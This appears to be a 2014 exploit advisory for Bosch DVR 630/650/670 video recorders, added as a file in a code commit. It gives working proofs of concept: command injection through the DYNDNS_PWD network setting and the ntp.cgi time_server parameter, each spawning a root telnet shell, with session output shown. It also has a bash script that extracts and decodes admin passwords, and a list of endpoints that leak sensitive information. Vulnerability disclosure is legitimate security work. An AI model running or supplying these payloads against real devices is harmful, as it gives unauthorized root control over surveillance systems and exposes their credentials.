|
| 1 | + :::::::-. ... ::::::. :::. |
| 2 | + ;;, `';, ;; ;;;`;;;;, `;;; |
| 3 | + `[[ [[[[' [[[ [[[[[. '[[ |
| 4 | + $$, $$$$ $$$ $$$ "Y$c$$ |
| 5 | + 888_,o8P'88 .d888 888 Y88 |
| 6 | + MMMMP"` "YmmMMMM"" MMM YM |
| 7 | + |
| 8 | + [ Discovered by dun \ posdub[at]gmail.com ] |
| 9 | + [ 2014-10-01 ] |
| 10 | +############################################################################### |
| 11 | +# [ Bosch Security Systems DVR 630/650/670 Series ] Multiple Vulnerabilities # |
| 12 | +############################################################################### |
| 13 | +# |
| 14 | +# Device: "The Bosch Video Recorder 630/650 Series is an 8/16 |
| 15 | +# channel digital recorder that uses the latest H.264 |
| 16 | +# compression technology. With the supplied PC |
| 17 | +# software and built-in web server, the 630/650 Series is |
| 18 | +# a fully integrated, stand-alone video management |
| 19 | +# solution that's ready to go, straight out of the box. |
| 20 | +# Available with a variety of storage capacities, the |
| 21 | +# 630/650 Series features a highly reliable embedded |
| 22 | +# design that minimizes maintenance and reduces |
| 23 | +# operational costs. The recorder is also available with a |
| 24 | +# built-in DVD writer." |
| 25 | +# |
| 26 | +# Vendor: http://www.boschsecurity.com/ |
| 27 | +# Product: DVR 630/650 http://resource.boschsecurity.us/documents/Data_sheet_enUS_1977239307.pdf |
| 28 | +# DVR 670 http://resource.boschsecurity.us/documents/DVR_670_Series_Data_sheet_enUS_7654294923.pdf |
| 29 | +# |
| 30 | +# Software Download: |
| 31 | +# http://resource.boschsecurity.us/software/Software_DVR630_650_firmware_v212_all_1980902667.zip |
| 32 | +# http://resource.boschsecurity.us/software/Software_DVR670_firmware_v212_enUS_8599929867.zip |
| 33 | +# |
| 34 | +# Timeline: 2014-10-01 Vulnerability discovered |
| 35 | +# 2014-10-03 1 Contact with vendor - No response |
| 36 | +# 2014-10-14 Published |
| 37 | +# |
| 38 | +# |
| 39 | +################################################################### |
| 40 | +# Gaining Root Shell Access [1]: |
| 41 | + |
| 42 | +POST /Net_work.xml HTTP/1.1 |
| 43 | +Accept: */* |
| 44 | +Accept-Language: pl |
| 45 | +Referer: http://10.11.219.2/network.html |
| 46 | +Content-Type: text/xml; charset=UTF-8 |
| 47 | +Accept-Encoding: gzip, deflate |
| 48 | +User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) |
| 49 | +Host: 10.11.219.2 |
| 50 | +Content-Length: 1274 |
| 51 | +DNT: 1 |
| 52 | +Proxy-Connection: Keep-Alive |
| 53 | +Pragma: no-cache |
| 54 | +Cookie: MosaLanguage=0; session= |
| 55 | + |
| 56 | +<NETWORK_SETTING> |
| 57 | + <DHCP>0</DHCP> |
| 58 | + <DHCPIP>10.11.219.2</DHCPIP> |
| 59 | + <DHCPMASK>255.255.255.0</DHCPMASK> |
| 60 | + <DHCPGW>10.11.219.1</DHCPGW> |
| 61 | + <DHCPDNS1>0.0.0.0</DHCPDNS1> |
| 62 | + <DHCPDNS2>0.0.0.0</DHCPDNS2> |
| 63 | + <IP>10.11.219.2</IP> |
| 64 | + <MASK>255.255.255.0</MASK> |
| 65 | + <GW>10.11.219.1</GW> |
| 66 | + <DNS1>0.0.0.0</DNS1> |
| 67 | + <DNS2>0.0.0.0</DNS2> |
| 68 | + <HTTP_PORT>80</HTTP_PORT> |
| 69 | + <BANDWIDTH>0</BANDWIDTH> |
| 70 | + <DDNS_SERVER>1</DDNS_SERVER> |
| 71 | + <DYNDNS_HOST>wxss</DYNDNS_HOST> |
| 72 | + <DYNDNS_USER>ffl</DYNDNS_USER> |
| 73 | + <DYNDNS_PWD>|telnetd -l${SHELL} -p30 #</DYNDNS_PWD> |
| 74 | + <TZO_HOST></TZO_HOST> |
| 75 | + <TZO_MAIL></TZO_MAIL> |
| 76 | + <TZO_KEY></TZO_KEY> |
| 77 | + <SITE_HOST>sdads</SITE_HOST> |
| 78 | + <SITE_PWD>dsadsd</SITE_PWD> |
| 79 | + <SITE_RECORDID>sdasdas</SITE_RECORDID> |
| 80 | + <SITE_FQDN>dasdas</SITE_FQDN> |
| 81 | + <ALARM_ON>0</ALARM_ON> |
| 82 | + <MOTION>0</MOTION> |
| 83 | + <DISK_FAIL>0</DISK_FAIL> |
| 84 | + <DISK_FULL>0</DISK_FULL> |
| 85 | + <FAN_FAIL>0</FAN_FAIL> |
| 86 | + <DISK_TEMP>0</DISK_TEMP> |
| 87 | + <ADMIN_PW>0</ADMIN_PW> |
| 88 | + <VIDEO_LOSS>0</VIDEO_LOSS> |
| 89 | + <POWER>0</POWER> |
| 90 | + <SENDER>0</SENDER> |
| 91 | + <SMTP></SMTP> |
| 92 | + <SMTP_PORT>25</SMTP_PORT> |
| 93 | + <SSL>0</SSL> |
| 94 | + <USERNAME></USERNAME> |
| 95 | + <PWD></PWD> |
| 96 | + <SENDER_MAIL></SENDER_MAIL> |
| 97 | + <SUBJECT></SUBJECT> |
| 98 | + <MAIL_1></MAIL_1> |
| 99 | + <MAIL_2></MAIL_2> |
| 100 | + <MAIL_3></MAIL_3> |
| 101 | + <MAIL_TEST>0</MAIL_TEST> |
| 102 | +</NETWORK_SETTING> |
| 103 | + |
| 104 | +## PoC: |
| 105 | + |
| 106 | +root@debian:~# curl -i -s -k -X 'POST' -H 'Referer: http://10.11.219.2/network.html' -H 'Content-Type: text/xml; charset=UTF-8' \ |
| 107 | + -H 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' -H 'DNT: 1' \ |
| 108 | + -b 'MosaLanguage=0; session=' --data-binary $'<NETWORK_SETTING>\x0d\x0a <DHCP>0</DHCP>\x0d\x0a <DHCPIP>10.11.219.2</DHCPIP>\x0d\x0a \ |
| 109 | + <DHCPMASK>255.255.255.0</DHCPMASK>\x0d\x0a <DHCPGW>10.11.219.1</DHCPGW>\x0d\x0a <DHCPDNS1>0.0.0.0</DHCPDNS1>\x0d\x0a \ |
| 110 | + <DHCPDNS2>0.0.0.0</DHCPDNS2>\x0d\x0a <IP>10.11.219.2</IP>\x0d\x0a <MASK>255.255.255.0</MASK>\x0d\x0a <GW>10.11.219.1</GW>\x0d\x0a \ |
| 111 | + <DNS1>0.0.0.0</DNS1>\x0d\x0a <DNS2>0.0.0.0</DNS2>\x0d\x0a <HTTP_PORT>80</HTTP_PORT>\x0d\x0a <BANDWIDTH>0</BANDWIDTH>\x0d\x0a \ |
| 112 | + <DDNS_SERVER>1</DDNS_SERVER>\x0d\x0a <DYNDNS_HOST>wxss</DYNDNS_HOST>\x0d\x0a <DYNDNS_USER>ffl</DYNDNS_USER>\x0d\x0a \ |
| 113 | + <DYNDNS_PWD>|telnetd -l${SHELL} -p30 #</DYNDNS_PWD>\x0d\x0a <TZO_HOST></TZO_HOST>\x0d\x0a <TZO_MAIL></TZO_MAIL>\x0d\x0a \ |
| 114 | + <TZO_KEY></TZO_KEY>\x0d\x0a <SITE_HOST>sdads</SITE_HOST>\x0d\x0a <SITE_PWD>dsadsd</SITE_PWD>\x0d\x0a \ |
| 115 | + <SITE_RECORDID>sdasdas</SITE_RECORDID>\x0d\x0a <SITE_FQDN>dasdas</SITE_FQDN>\x0d\x0a <ALARM_ON>0</ALARM_ON>\x0d\x0a \ |
| 116 | + <MOTION>0</MOTION>\x0d\x0a <DISK_FAIL>0</DISK_FAIL>\x0d\x0a <DISK_FULL>0</DISK_FULL>\x0d\x0a <FAN_FAIL>0</FAN_FAIL>\x0d\x0a \ |
| 117 | + <DISK_TEMP>0</DISK_TEMP>\x0d\x0a <ADMIN_PW>0</ADMIN_PW>\x0d\x0a <VIDEO_LOSS>0</VIDEO_LOSS>\x0d\x0a <POWER>0</POWER>\x0d\x0a \ |
| 118 | + <SENDER>0</SENDER>\x0d\x0a <SMTP></SMTP>\x0d\x0a <SMTP_PORT>25</SMTP_PORT>\x0d\x0a <SSL>0</SSL>\x0d\x0a <USERNAME></USERNAME>\x0d\x0a \ |
| 119 | + <PWD></PWD>\x0d\x0a <SENDER_MAIL></SENDER_MAIL>\x0d\x0a <SUBJECT></SUBJECT>\x0d\x0a <MAIL_1></MAIL_1>\x0d\x0a <MAIL_2></MAIL_2>\x0d\x0a \ |
| 120 | + <MAIL_3></MAIL_3>\x0d\x0a <MAIL_TEST>0</MAIL_TEST>\x0d\x0a</NETWORK_SETTING>\x0d\x0a' 'http://10.11.219.2/Net_work.xml' |
| 121 | + |
| 122 | +root@debian:~# telnet 10.11.219.2 30 |
| 123 | +Trying 10.11.219.2... |
| 124 | +Connected to 10.11.219.2. |
| 125 | +Escape character is '^]'. |
| 126 | + |
| 127 | +BusyBox v1.1.2 (2009.12.29-03:59+0000) Built-in shell (ash) |
| 128 | +Enter 'help' for a list of built-in commands. |
| 129 | + |
| 130 | +/ # id |
| 131 | +uid=0(root) gid=0(root) |
| 132 | +/ # uname -a |
| 133 | +Linux everfocus 2.6.24-rt1-hi3520v100 #9 Thu Sep 2 14:00:47 CST 2010 armv6l unknown |
| 134 | +/ # ps |grep telnet |
| 135 | + 2827 root 228 S telnetd -l/bin/sh -p30 |
| 136 | +/ # netstat -ltn | grep 30 |
| 137 | +tcp 0 0 0.0.0.0:30 0.0.0.0:* LISTEN |
| 138 | +/ # echo pwnd & exit |
| 139 | +pwnd |
| 140 | +Connection closed by foreign host. |
| 141 | +root@debian:~# |
| 142 | + |
| 143 | +################################################################### |
| 144 | +# Gaining Root Shell Access (authorization is needed) [2]: |
| 145 | + |
| 146 | +GET /ntp.cgi?cmd=ntp_start&time_server=1&private_server=192.168.0.245|%20telnetd%20-l${SHELL}%20-p40;%20id&rnd=4392 HTTP/1.1 |
| 147 | +Accept: */* |
| 148 | +Accept-Language: pl |
| 149 | +Referer: http://10.11.219.2/system.html |
| 150 | +Accept-Encoding: gzip, deflate |
| 151 | +User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) |
| 152 | +Host: 10.11.219.2 |
| 153 | +DNT: 1 |
| 154 | +Proxy-Connection: Keep-Alive |
| 155 | +Cookie: MosaLanguage=0; session= |
| 156 | + |
| 157 | +## PoC: |
| 158 | + |
| 159 | +root@debian:~# curl -i -s -k -X 'GET' \ |
| 160 | + -H 'Referer: http://10.11.219.2/system.html' \ |
| 161 | + -H 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' -H 'DNT: 1' \ |
| 162 | + -b 'MosaLanguage=0; session=' 'http://10.11.219.2/ntp.cgi?cmd=ntp_start&time_server=1&private_server=192.168.0.245|%20telnetd%20-l${SHELL}%20-p40;%20id' |
| 163 | + |
| 164 | + |
| 165 | +root@debian:~# telnet 10.11.219.2 40 |
| 166 | +Trying 10.11.219.2... |
| 167 | +Connected to 10.11.219.2. |
| 168 | +Escape character is '^]'. |
| 169 | + |
| 170 | +BusyBox v1.1.2 (2009.12.29-03:59+0000) Built-in shell (ash) |
| 171 | +Enter 'help' for a list of built-in commands. |
| 172 | + |
| 173 | +/ # id |
| 174 | +uid=0(root) gid=0(root) |
| 175 | +/ # uname -a |
| 176 | +Linux everfocus 2.6.24-rt1-hi3520v100 #9 Thu Sep 2 14:00:47 CST 2010 armv6l unknown |
| 177 | +/ # ps |grep telnet |
| 178 | + 2827 root 228 S telnetd -l/bin/sh -p40 |
| 179 | +/ # netstat -ltn | grep 40 |
| 180 | +tcp 0 0 0.0.0.0:40 0.0.0.0:* LISTEN |
| 181 | +/ # echo pwnd & exit |
| 182 | +pwnd |
| 183 | +Connection closed by foreign host. |
| 184 | +root@debian:~# |
| 185 | + |
| 186 | +################################################################### |
| 187 | +# Admin Password Disclosure: http://10.11.219.2/User.cgi?cmd=get_user |
| 188 | + |
| 189 | +## PoC Exploit: |
| 190 | + |
| 191 | +#!/bin/bash |
| 192 | +x=0; |
| 193 | +for i in $(curl --silent http://10.11.219.2/User.cgi?cmd=get_user| sed 's/<[^>]\+>/ /g' | sed -r 's/(\s)+[0-9]//g'); |
| 194 | +do base64 -d<<<$i; if [ $(( $x % 2 )) -eq 0 ]; then echo -n ":"; else echo ; fi; ((x++)); done |
| 195 | + |
| 196 | +################################################################### |
| 197 | +# Sensitive Information Disclosure: |
| 198 | + |
| 199 | +http://10.11.219.2/Config.cgi?cmd=system_info |
| 200 | +http://10.11.219.2/System.xml |
| 201 | +http://10.11.219.2/Net_work.xml |
| 202 | + |
| 203 | +http://10.11.219.2/webcmd.html |
| 204 | + |
| 205 | +/ # cat /4mosa600/data/Webcmd_help.txt |
| 206 | + |
| 207 | + cmd value (sample) |
| 208 | +====================+========================== |
| 209 | + blockid | 0 ~ block max // show block info and flag and gop status. |
| 210 | +--------------------+------------------------- |
| 211 | + disk | // show disk temp. |
| 212 | +--------------------+------------------------- |
| 213 | + reboot | // restart DVR. |
| 214 | +--------------------+------------------------- |
| 215 | + remote-info | // socket status. |
| 216 | +--------------------+------------------------- |
| 217 | + log | 1: System // show system log. |
| 218 | + | 2: Record |
| 219 | + | 4: Login |
| 220 | + | 8: Configure |
| 221 | + | 16: Operation |
| 222 | + | 31: All |
| 223 | + | 63: Service |
| 224 | +--------------------+------------------------- |
| 225 | + ionly | 1~12 how many frames in a GOP will send to internet |
| 226 | + | 0: all I/P-frame (default) |
| 227 | + | 1: I only |
| 228 | + | 2: IP |
| 229 | + | 3: IPP |
| 230 | + | 4: IPPP |
| 231 | + | .... |
| 232 | + | 12: IPPPPPPPPPPP |
| 233 | + | others: show current value on DVR. |
| 234 | +--------------------+------------------------- |
| 235 | + chlink | 0~MKF_CHANNEL // show channel link. |
| 236 | +--------------------+------------------------- |
| 237 | + bitrate | // show bitrate information. |
| 238 | +--------------------+------------------------- |
| 239 | + dls | // show about time and DLS message. |
| 240 | +--------------------+------------------------- |
| 241 | + bmp | // dump bmp file to http://x.x.x.x/vga0.bmp |
| 242 | +--------------------+------------------------- |
| 243 | + msg | This is bitmap |
| 244 | + | bit 0 show encode FPS and Bitrate. |
| 245 | + | bit 1 show encode resolution.(dependent bit 1) |
| 246 | + | bit 2 show remote client mesage. |
| 247 | + | bit 3 show ptz command. |
| 248 | + | bit 4 cpu and memory usage.. |
| 249 | +--------------------+------------------------- |
| 250 | + remote-cgi | 0 disable all cgi command. |
| 251 | + | 1 show all cgi command to console. |
| 252 | + | 2 show cig command if not "login_id" |
| 253 | +--------------------+------------------------- |
| 254 | + |
| 255 | + |
| 256 | + |
| 257 | + |
| 258 | + |
| 259 | + |
| 260 | + |
0 commit comments